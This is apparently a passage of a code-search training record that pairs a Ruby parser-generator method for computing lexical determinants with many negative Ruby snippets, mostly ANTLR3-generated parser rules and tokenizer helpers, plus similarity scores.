end\n \n a\n end", "def get_ast(tokens)\n log_and_raise_error(\n 'ddd parser failure'\n ) do\n ast = ConvergDB::DDD::Parser.parse(tokens, { parse_tree: false })\n ddd_ast = []\n # traverse the tree\n ast.each(order = :pre) do |c|\n c = c.values[0]\n ddd_ast << c if c.is_a?(Array)\n end\n ddd_ast\n end\n end", "def get_token_count_and_deviance\n token_list = []\n get_all_tokens.each do |token|\n\ttoken_list.push([ token, get_token_total( token ), get_token_deviance( token ) ] )\n end\n return token_list\n end", "def get_contexts_named( name )\n @context_list.values.map{ |context| context if context.name == name }.compact\n end", "def for_statement_initialiser_part\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 34 )\n @InFor_stack.push( @@InFor.new )\n return_value = ForStatementInitialiserPartReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal153 = nil\n string_literal154 = nil\n expression_list152 = nil\n variable_declaration_list155 = nil\n\n tree_for_string_literal153 = nil\n tree_for_string_literal154 = nil\n\n begin\n # at line 478:3: ( expression_list | ( 'var' | 'let' ) variable_declaration_list )\n alt_33 = 2\n look_33_0 = @input.peek( 1 )\n\n if ( look_33_0 == GENERAL || look_33_0 == GET || look_33_0 == ARROW || look_33_0 == REGEX || look_33_0 == INCR || look_33_0 == IS_DEFINED || look_33_0 == LBRACE || look_33_0 == LBRACK || look_33_0 == SET || look_33_0 == DDOC || look_33_0.between?( DECR, LPAREN ) || look_33_0 == DELETE || look_33_0.between?( DGENERAL, MACRO ) || look_33_0.between?( MINUS, THIS ) || look_33_0 == TILDE || look_33_0 == TRUE || look_33_0.between?( TYPEOF, NEW ) || look_33_0.between?( EACH, UNDEFINED ) || look_33_0 == NULL || look_33_0 == FALSE || look_33_0 == VOID || look_33_0.between?( FUNCTION, PLUS ) || look_33_0.between?( IS_UNDEFINED, DOC ) || look_33_0.between?( T__148, T__150 ) )\n alt_33 = 1\n elsif ( look_33_0 == LET || look_33_0 == VAR )\n alt_33 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 33, 0 )\n end\n case alt_33\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 478:5: expression_list\n @state.following.push( TOKENS_FOLLOWING_expression_list_IN_for_statement_initialiser_part_3208 )\n expression_list152 = expression_list\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, expression_list152.tree )\n end\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 479:5: ( 'var' | 'let' ) variable_declaration_list\n # at line 479:5: ( 'var' | 'let' )\n alt_32 = 2\n look_32_0 = @input.peek( 1 )\n\n if ( look_32_0 == VAR )\n alt_32 = 1\n elsif ( look_32_0 == LET )\n alt_32 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 32, 0 )\n end\n case alt_32\n when 1\n # at line 479:7: 'var'\n string_literal153 = match( VAR, TOKENS_FOLLOWING_VAR_IN_for_statement_initialiser_part_3216 )\n if @state.backtracking == 0\n\n tree_for_string_literal153 = @adaptor.create_with_payload( string_literal153 )\n root_0 = @adaptor.become_root( tree_for_string_literal153, root_0 )\n\n end\n\n when 2\n # at line 479:16: 'let'\n string_literal154 = match( LET, TOKENS_FOLLOWING_LET_IN_for_statement_initialiser_part_3221 )\n if @state.backtracking == 0\n\n tree_for_string_literal154 = @adaptor.create_with_payload( string_literal154 )\n root_0 = @adaptor.become_root( tree_for_string_literal154, root_0 )\n\n end\n\n end\n @state.following.push( TOKENS_FOLLOWING_variable_declaration_list_IN_for_statement_initialiser_part_3227 )\n variable_declaration_list155 = variable_declaration_list\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, variable_declaration_list155.tree )\n end\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end# syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @InFor_stack.last.active = false \n # <-- action\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 34 )\n @InFor_stack.pop\n\n end\n \n return return_value\n end", "def read_from_tokens(tokens)\n raise SyntaxError, 'unexpected EOF while reading' if tokens.size == 0\n token = tokens.shift\n if '(' == token\n sexp = []\n sexp.push(read_from_tokens(tokens)) while tokens.first != ')'\n tokens.shift # remove the ')'\n return sexp\n elsif ')' == token\n raise SyntaxError, 'unexpected )'\n else\n return atom(token)\n end\nend", "def factor_list\n a = one_or_more { factor }\n AST.new(:and, a)\n end", "def tokens\n @tokens ||= tokenize_input\n end", "def statement_list\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 4 )\n return_value = StatementListReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n statement6 = nil\n\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 27:5: ( statement )+\n # at file 27:5: ( statement )+\n match_count_4 = 0\n while true\n alt_4 = 2\n look_4_0 = @input.peek( 1 )\n\n if ( look_4_0.between?( AMP, AMP_ASGN ) || look_4_0 == POST_DECR || look_4_0.between?( GEQ, AREF ) || look_4_0.between?( GREATER, HAT ) || look_4_0.between?( ARROW, HAT_ASGN ) || look_4_0.between?( ASGN, REGEX ) || look_4_0.between?( IN, RETURN ) || look_4_0 == INCR || look_4_0.between?( BREAK, RSHIFT3 ) || look_4_0.between?( LABEL, CATCH ) || look_4_0 == RSHIFT_ASGN || look_4_0 == LEQ || look_4_0.between?( LESS, SLASH ) || look_4_0.between?( SLASH_ASGN, CONTINUE ) || look_4_0.between?( STAR, DECR ) || look_4_0 == STAR_ASGN || look_4_0.between?( LSHIFT, THIS ) || look_4_0 == THROW || look_4_0.between?( MINUS, MOD ) || look_4_0.between?( MOD_ASGN, TYPEOF ) || look_4_0.between?( NEQ, UMINUS ) || look_4_0.between?( NEQQ, UNDEFINED ) || look_4_0.between?( NEW, UPLUS ) || look_4_0.between?( OBJECT, FALSE ) || look_4_0.between?( WITH, PLUS ) || look_4_0.between?( ID, DOC ) )\n alt_4 = 1\n\n end\n case alt_4\n when 1\n # at line 27:5: statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_statement_IN_statement_list_100 )\n statement6 = statement\n @state.following.pop\n\n @adaptor.add_child( root_0, statement6.tree )\n\n\n else\n match_count_4 > 0 and break\n eee = EarlyExit(4)\n\n\n raise eee\n end\n match_count_4 += 1\n end\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 4 )\n\n end\n \n return return_value\n end", "def tokens\n @tokens ||= scanner.tokenize(input)\n end", "def clause\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n return_value = ClauseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal10 = nil\n char_literal12 = nil\n expression_list11 = nil\n\n tree_for_char_literal10 = nil\n tree_for_char_literal12 = nil\n stream_RPAREN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token RPAREN\" )\n stream_LPAREN = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token LPAREN\" )\n stream_expression_list = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule expression_list\" )\n begin\n # at line 273:5: '(' expression_list ')'\n char_literal10 = match( LPAREN, TOKENS_FOLLOWING_LPAREN_IN_clause_1878 )\n if @state.backtracking == 0\n stream_LPAREN.add( char_literal10 )\n end\n @state.following.push( TOKENS_FOLLOWING_expression_list_IN_clause_1880 )\n expression_list11 = expression_list\n @state.following.pop\n if @state.backtracking == 0\n stream_expression_list.add( expression_list11.tree )\n end\n char_literal12 = match( RPAREN, TOKENS_FOLLOWING_RPAREN_IN_clause_1882 )\n if @state.backtracking == 0\n stream_RPAREN.add( char_literal12 )\n end\n # AST Rewrite\n # elements: expression_list\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 273:29: -> expression_list\n @adaptor.add_child( root_0, stream_expression_list.next_tree )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n end\n \n return return_value\n end", "def get_tokens(lines)\n tokens = []\n chunk = \"\"\n\n lines.each do |line|\n case line\n when /^[#\\+\\-]+.*$/ # Headers\n unless chunk == \"\"\n tokens += [chunk.strip]\n chunk = \"\"\n end\n\n tokens += [line.strip]\n when /^\\s*$/ # Ends or Starts of paragraphs\n unless chunk == \"\"\n tokens += [chunk.strip]\n chunk = \"\"\n end\n else #Paragraphs\n chunk += line.strip + \" \"\n end\n end\n\n tokens += [chunk.strip] unless chunk == \"\"\n tokens\nend", "def index\n @diagnosis_pattern_symptoms = Diagnosis::PatternSymptom.all\n end", "def get_dfastates_with_syntactically_ambiguous_alts\n return @states_with_syntactically_ambiguous_alts_set\n end", "def symbol()\n node = factor()\n\n if @look.kind.eql?(Token::STAR) then\n match(Token::STAR)\n node = Star.new(node)\n elsif @look.kind.eql?(Token::QUESTION) then\n match(Token::QUESTION)\n node = Question.new(node)\n end\n\n return node\n end", "def token_types\n @tokens.map(&:type)\n end", "def token_types\n @tokens.map(&:type)\n end", "def start_symbol()\n return sets.first.entries[0].vertex.non_terminal\n end", "def collect\n start = @pos\n yield\n @tokens[start...@pos] || []\n end" ]
[ "0.6983176", "0.52609754", "0.51561874", "0.50732535", "0.5068226", "0.5001423", "0.49060056", "0.4905483", "0.48939398", "0.48845258", "0.48724672", "0.48724097", "0.48724097", "0.48143458", "0.47996315", "0.47958252", "0.47951737", "0.478103", "0.47741196", "0.47638944", "0.47544235", "0.47388062", "0.47293532", "0.4725061", "0.4707366", "0.47032657", "0.46999332", "0.46880463", "0.4669356", "0.46663126", "0.46489912", "0.46390674", "0.4637748", "0.4627212", "0.46210808", "0.46123573", "0.46123573", "0.46123573", "0.46123573", "0.46123573", "0.46123573", "0.46123573", "0.46123573", "0.4607147", "0.4599291", "0.45982853", "0.45908874", "0.4560076", "0.45496958", "0.4547108", "0.45460838", "0.4544715", "0.45406243", "0.45370662", "0.45254707", "0.45193005", "0.45187625", "0.45179704", "0.45145807", "0.4506379", "0.45057738", "0.4500594", "0.4495266", "0.44888216", "0.44649187", "0.445936", "0.44471914", "0.4438671", "0.44368005", "0.44344586", "0.44299674", "0.4429289", "0.4427552", "0.44259816", "0.44241014", "0.4422876", "0.44223735", "0.44191688", "0.44122705", "0.44096836", "0.44054365", "0.44014055", "0.43994936", "0.43993115", "0.43859383", "0.43823975", "0.43771192", "0.4375849", "0.43731886", "0.43666112", "0.4366146", "0.43588528", "0.4357506", "0.43465415", "0.43451777", "0.43439862", "0.43426764", "0.43426764", "0.43221733", "0.43181032" ]
0.6365912
1
lexical_determinants_for() given a lexical production name, returns a CharacterRange of codes that can start it
def lexical_determinants_for( symbols, visited = {} ) if symbols.is_an?(Array) then determinants = CharacterRange.new() symbols.each do |symbol| determinants.add( lexical_determinants_for(symbol) ) end return determinants else symbol = symbols name = symbol.name # # Unlike SyntaxProduction, TokenProductions are strictly acyclic. So we'll recurse instead. determinants = CharacterRange.new() symbols = @lexical_production_sets.member?(name) ? [symbol] : syntactic_determinants_for( symbol ) symbols.each do |symbol| if symbol.refers_to_character? then determinants.add(symbol) else token_name = symbol.name next if visited.member?(token_name) visited[token_name] = true if @lexical_determinants.member?(token_name) then determinants += @lexical_determinants[token_name] elsif @lexical_production_sets.member?(token_name) then production_set = @lexical_production_sets[token_name] unless production_set.empty? assert( production_set[0].lexical?, "expected lexical production for #{token_name}!" ) set_determinants = CharacterRange.new() production_set.each do |production| leader = production.symbols[0] if leader.refers_to_character? then set_determinants += leader else set_determinants += lexical_determinants_for( leader, visited ) unless visited.member?(leader.name) end end @lexical_determinants[token_name] = set_determinants determinants += set_determinants end elsif token_name.eof? then determinants.add( -1..-1 ) else nyi( "lexical determinant support for #{token_name}", symbol ) end end end return determinants end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reduce_lowercase_from_to(_production, _range, _tokens, theChildren)\n raw_range = [theChildren[2].token.lexeme, theChildren[4].token.lexeme]\n range_sorted = raw_range.sort\n ch_range = char_range(range_sorted[0], range_sorted[1])\n char_class(false, ch_range)\n end", "def reduce_any_lowercase(_production, _range, _tokens, _children)\n ch_range = char_range('a', 'z')\n char_class(false, ch_range)\n end", "def namechar!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 45 )\n\n \n # - - - - main rule block - - - -\n # at line \n if @input.peek( 1 ).between?( 0x2d, 0x2e ) || @input.peek( 1 ).between?( 0x30, 0x3a ) || @input.peek( 1 ).between?( 0x41, 0x5a ) || @input.peek(1) == 0x5f || @input.peek( 1 ).between?( 0x61, 0x7a )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 45 )\n\n end", "def range_start\n @character_range[0]\n end", "def range_all_except_quotes\n [ range(:upper_alphas), \n range(:lower_alphas), \n range(:numerals), \n range(:symbols_1), \n range(:symbols_2), \n range(:symbols_3), \n range(:symbols_4), \n range(:symbols_5), \n range(:symbols_6) ]\n end", "def reduce_any_character(_production, _range, _tokens, _children)\n char_shorthand('w')\n end", "def reduce_uppercase_from_to(_production, _range, _tokens, theChildren)\n raw_range = [theChildren[3].token.lexeme, theChildren[5].token.lexeme]\n range_sorted = raw_range.sort\n ch_range = char_range(range_sorted[0], range_sorted[1])\n char_class(false, ch_range)\n end", "def range\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n return_value = RangeReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n c1 = nil\n c2 = nil\n __RANGE133__ = nil\n element_options134 = nil\n\n tree_for_c1 = nil\n tree_for_c2 = nil\n tree_for_RANGE133 = nil\n stream_RANGE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token RANGE\" )\n stream_CHAR_LITERAL = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token CHAR_LITERAL\" )\n stream_element_options = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule element_options\" )\n begin\n # at line 287:4: c1= CHAR_LITERAL RANGE c2= CHAR_LITERAL ( element_options )?\n c1 = match( CHAR_LITERAL, TOKENS_FOLLOWING_CHAR_LITERAL_IN_range_2057 )\n if @state.backtracking == 0\n stream_CHAR_LITERAL.add( c1 )\n end\n __RANGE133__ = match( RANGE, TOKENS_FOLLOWING_RANGE_IN_range_2059 )\n if @state.backtracking == 0\n stream_RANGE.add( __RANGE133__ )\n end\n c2 = match( CHAR_LITERAL, TOKENS_FOLLOWING_CHAR_LITERAL_IN_range_2063 )\n if @state.backtracking == 0\n stream_CHAR_LITERAL.add( c2 )\n end\n # at line 287:42: ( element_options )?\n alt_61 = 2\n look_61_0 = @input.peek( 1 )\n\n if ( look_61_0 == T__88 )\n alt_61 = 1\n end\n case alt_61\n when 1\n # at line 287:42: element_options\n @state.following.push( TOKENS_FOLLOWING_element_options_IN_range_2065 )\n element_options134 = element_options\n @state.following.pop\n if @state.backtracking == 0\n stream_element_options.add( element_options134.tree )\n end\n\n end\n # AST Rewrite\n # elements: c1, element_options, c2\n # token labels: c1, c2\n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_c1 = token_stream( \"token c1\", c1 )\n stream_c2 = token_stream( \"token c2\", c2 )\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 288:3: -> ^( CHAR_RANGE[$c1,\\\"..\\\"] $c1 $c2 ( element_options )? )\n # at line 288:6: ^( CHAR_RANGE[$c1,\\\"..\\\"] $c1 $c2 ( element_options )? )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create( CHAR_RANGE, c1, \"..\" ), root_1 )\n\n @adaptor.add_child( root_1, stream_c1.next_node )\n @adaptor.add_child( root_1, stream_c2.next_node )\n # at line 288:37: ( element_options )?\n if stream_element_options.has_next?\n @adaptor.add_child( root_1, stream_element_options.next_tree )\n\n end\n\n stream_element_options.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n end\n \n return return_value\n end", "def resolve_character_reference( name_token, loop_detection = [] )\n resolution = nil\n name = name_token.text\n \n if @specifications.member?(name) then\n if loop_detection.member?(name) then\n nyi( \"error handling for detected reference loop [#{name}]\" )\n else\n loop_detection = loop_detection + [name]\n spec = @specifications[name]\n\n if spec.type.name == \"rule_spec\" and character_range?(spec) then\n pattern = register( Pattern.new(name_pattern(name), process_string_pattern(spec.expression.string_pattern, name, loop_detection)) )\n \n #\n # We are called to produce a single CharacterRange, not an ExpressionForm. Burrow down to that\n # CharacterRange, ensuring we never have to choose from multiple SparseRanges on the way. This\n # should already be guaranteed by character_range?(), but we'll check anyway.\n \n form = pattern.master_form\n until resolution.exists? or form.nil?\n if form.element_count == 1 then\n form = form[0]\n resolution = form if form.is_a?(CharacterRange)\n else\n break\n end\n end\n end\n \n if resolution.nil? then\n nyi( \"error handling for character reference that resolves to non-character [#{name}]\", spec )\n end\n end\n end\n \n return resolution\n end", "def range\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 28)\n return_value = RangeReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n c1 = nil\n c2 = nil\n __RANGE133__ = nil\n element_options134 = nil\n\n tree_for_c1 = nil\n tree_for_c2 = nil\n tree_for_RANGE133 = nil\n stream_RANGE = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token RANGE\")\n stream_CHAR_LITERAL = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token CHAR_LITERAL\")\n stream_element_options = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule element_options\")\n begin\n # at line 296:4: c1= CHAR_LITERAL RANGE c2= CHAR_LITERAL ( element_options )?\n c1 = match(CHAR_LITERAL, TOKENS_FOLLOWING_CHAR_LITERAL_IN_range_2062) \n if @state.backtracking == 0\n stream_CHAR_LITERAL.add(c1)\n end\n __RANGE133__ = match(RANGE, TOKENS_FOLLOWING_RANGE_IN_range_2064) \n if @state.backtracking == 0\n stream_RANGE.add(__RANGE133__)\n end\n c2 = match(CHAR_LITERAL, TOKENS_FOLLOWING_CHAR_LITERAL_IN_range_2068) \n if @state.backtracking == 0\n stream_CHAR_LITERAL.add(c2)\n end\n # at line 296:42: ( element_options )?\n alt_61 = 2\n look_61_0 = @input.peek(1)\n\n if (look_61_0 == T__88) \n alt_61 = 1\n end\n case alt_61\n when 1\n # at line 296:42: element_options\n @state.following.push(TOKENS_FOLLOWING_element_options_IN_range_2070)\n element_options134 = element_options\n @state.following.pop\n if @state.backtracking == 0\n stream_element_options.add(element_options134.tree)\n end\n\n end\n # AST Rewrite\n # elements: c2, element_options, c1\n # token labels: c1, c2\n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_c1 = token_stream(\"token c1\", c1)\n stream_c2 = token_stream(\"token c2\", c2)\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 297:3: -> ^( CHAR_RANGE[$c1,\\\"..\\\"] $c1 $c2 ( element_options )? )\n # at line 297:6: ^( CHAR_RANGE[$c1,\\\"..\\\"] $c1 $c2 ( element_options )? )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(@adaptor.create!(CHAR_RANGE, c1, \"..\"), root_1)\n\n @adaptor.add_child(root_1, stream_c1.next_node)\n @adaptor.add_child(root_1, stream_c2.next_node)\n # at line 297:37: ( element_options )?\n if stream_element_options.has_next?\n @adaptor.add_child(root_1, stream_element_options.next_tree)\n\n end\n\n stream_element_options.reset();\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 28)\n\n end\n \n return return_value\n end", "def words(pos_name)\n pos.select {|w, c| c.include?(pos_code_map.key(pos_name)) }.keys\n end", "def range(p, q)\n #puts ['range', p, q].join(' ')\n @character_set[@character_set.index(p)..@character_set.index(q)] rescue []\n end", "def next_consonant(name)\n name = name.downcase\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n i = 0\n consonants_changed = \"\"\n\n until i == name.length\n consonants_index = consonants.index(name[i])\n if consonants_index == nil\n consonants_changed += name[i]\n elsif consonants_index == 20\n consonants_changed += \"b\"\n else\n consonants_changed += consonants[consonants_index+1]\n end\n i = i + 1\n end\n return consonants_changed\n end", "def rubbishness(name)\n name.each_char.map { |x|\n case x\n when /[A-Z]/\n 1\n when '?', '=', '!'\n -2\n else\n 0\n end\n }.inject(&:+) + (name.size / 100.0)\n end", "def lex_en_expr_beg; end", "def lex_en_expr_beg; end", "def lex_en_expr_beg; end", "def get_word_start_marks(startpos, endpos)\n startpos = 0 if startpos < 0\n endpos = self.size if endpos > self.size\n search_str = self[(startpos)..(endpos)]\n return if search_str == nil\n wsmarks = scan_indexes(search_str, /(?<=[^\\p{Word}])\\p{Word}/)\n wsmarks = wsmarks.collect { |x| x + startpos }\n return wsmarks\n end", "def reduce_no_character(_production, _range, _tokens, _children)\n char_shorthand('W')\n end", "def name_variations(name)\n variations = []\n variations.push(name)\n variations.push(name.downcase)\n variations.push(name.upcase)\n variations.push(name.gsub(/[ _-]/, ''))\n return variations\nend", "def consume_unicode_range\n value = @s.scan(RE_HEX) || ''\n\n while value.length < 6\n break unless @s.peek == '?'\n value << @s.consume\n end\n\n range = {}\n\n if value.include?('?')\n range[:start] = value.gsub('?', '0').hex\n range[:end] = value.gsub('?', 'F').hex\n return create_token(:unicode_range, range)\n end\n\n range[:start] = value.hex\n\n if @s.peek(2) =~ RE_UNICODE_RANGE_END\n @s.consume\n range[:end] = (@s.scan(RE_HEX) || '').hex\n else\n range[:end] = range[:start]\n end\n\n create_token(:unicode_range, range)\n end", "def reduce_digits_from_to(_production, _range, _tokens, theChildren)\n raw_range = [theChildren[2].token.lexeme, theChildren[4].token.lexeme]\n range_sorted = raw_range.map(&:to_i).sort\n ch_range = char_range(range_sorted[0].to_s, range_sorted[1].to_s)\n char_class(false, ch_range)\n end", "def consume_unicode_range\n value = @s.scan(RE_HEX) || String.new\n\n while value.length < 6\n break unless @s.peek == '?'\n value << @s.consume\n end\n\n range = {}\n\n if value.include?('?')\n range[:start] = value.gsub('?', '0').hex\n range[:end] = value.gsub('?', 'F').hex\n return create_token(:unicode_range, range)\n end\n\n range[:start] = value.hex\n\n if @s.peek(2) =~ RE_UNICODE_RANGE_END\n @s.consume\n range[:end] = (@s.scan(RE_HEX) || '').hex\n else\n range[:end] = range[:start]\n end\n\n create_token(:unicode_range, range)\n end", "def lex_start; end", "def lex_start; end", "def lex_start; end", "def lex_start; end", "def browser_name\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 84 )\n return_value = BrowserNameReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n set426 = nil\n\n tree_for_set426 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line \n set426 = @input.look\n if @input.peek( 1 ).between?( T__148, T__150 )\n @input.consume\n if @state.backtracking == 0\n @adaptor.add_child( root_0, @adaptor.create_with_payload( set426 ) )\n end\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 84 )\n\n end\n \n return return_value\n end", "def initial(name)\n name.scan(/[[:upper:]]/).first.to_s\n end", "def ident!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 47 )\n\n\n\n type = IDENT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 226:8: ( 'a' .. 'z' | 'A' .. 'Z' | '_' ) ( 'a' .. 'z' | 'A' .. 'Z' | '0' .. '9' | '_' )*\n if @input.peek( 1 ).between?( 0x41, 0x5a ) || @input.peek(1) == 0x5f || @input.peek( 1 ).between?( 0x61, 0x7a )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n # at line 226:40: ( 'a' .. 'z' | 'A' .. 'Z' | '0' .. '9' | '_' )*\n while true # decision 4\n alt_4 = 2\n look_4_0 = @input.peek( 1 )\n\n if ( look_4_0.between?( 0x30, 0x39 ) || look_4_0.between?( 0x41, 0x5a ) || look_4_0 == 0x5f || look_4_0.between?( 0x61, 0x7a ) )\n alt_4 = 1\n\n end\n case alt_4\n when 1\n # at line \n if @input.peek( 1 ).between?( 0x30, 0x39 ) || @input.peek( 1 ).between?( 0x41, 0x5a ) || @input.peek(1) == 0x5f || @input.peek( 1 ).between?( 0x61, 0x7a )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n else\n break # out of loop for decision 4\n end\n end # loop for decision 4\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 47 )\n\n\n end", "def get_one_char_names()\n names = []\n chars = get_poss_characters\n for pos in 0..chars.length-1\n names.push(chars[pos])\n end\n return names\nend", "def reduce_starts_with(_production, _range, _tokens, _children)\n begin_anchor\n end", "def range_all\n [ range(:upper_alphas), \n range(:lower_alphas), \n range(:numerals), \n range(:symbols_1), \n range(:symbols_2), \n range(:symbols_3), \n range(:symbols_4), \n range(:symbols_5), \n range(:symbols_6),\n range(:single_quotes),\n range(:double_quotes),\n range(:backtick) ]\n end", "def syntactic_determinants_for( symbols, into = nil, trail_marker = nil )\n if symbols.is_an?(Array) then\n trail_marker = Util::TrailMarker.new() if trail_marker.nil?\n determinants = into.nil? ? {} : into\n \n symbols.each do |symbol|\n syntactic_determinants_for( symbol, determinants, trail_marker )\n end\n \n return into.nil? ? determinants.keys : into\n \n \n else\n symbol = symbols\n name = symbol.name\n \n if @syntactic_determinants.member?(name) then\n if into.nil? then\n return @syntactic_determinants[name]\n else\n into.update(@syntactic_determinants[name].to_hash())\n return into\n end\n end\n\n trail_marker = Util::TrailMarker.new() if trail_marker.nil?\n determinants = {}\n complete = false\n \n if @group_members.member?(name) then\n group = @group_members[name]\n complete = trail_marker.enter(group.object_id) do\n group.each do |member|\n if member.refers_to_token? then\n determinants[member] = true\n else\n syntactic_determinants_for(member, determinants, trail_marker) if trail_marker.mark(member.name)\n end\n end\n end\n elsif @syntactic_production_sets.member?(name) then\n production_set = @syntactic_production_sets[name]\n complete = trail_marker.enter(production_set.object_id) do\n production_set.each do |production|\n leader = production.symbols[0]\n if leader.refers_to_token? then\n determinants[leader] = true\n else\n syntactic_determinants_for(leader, determinants, 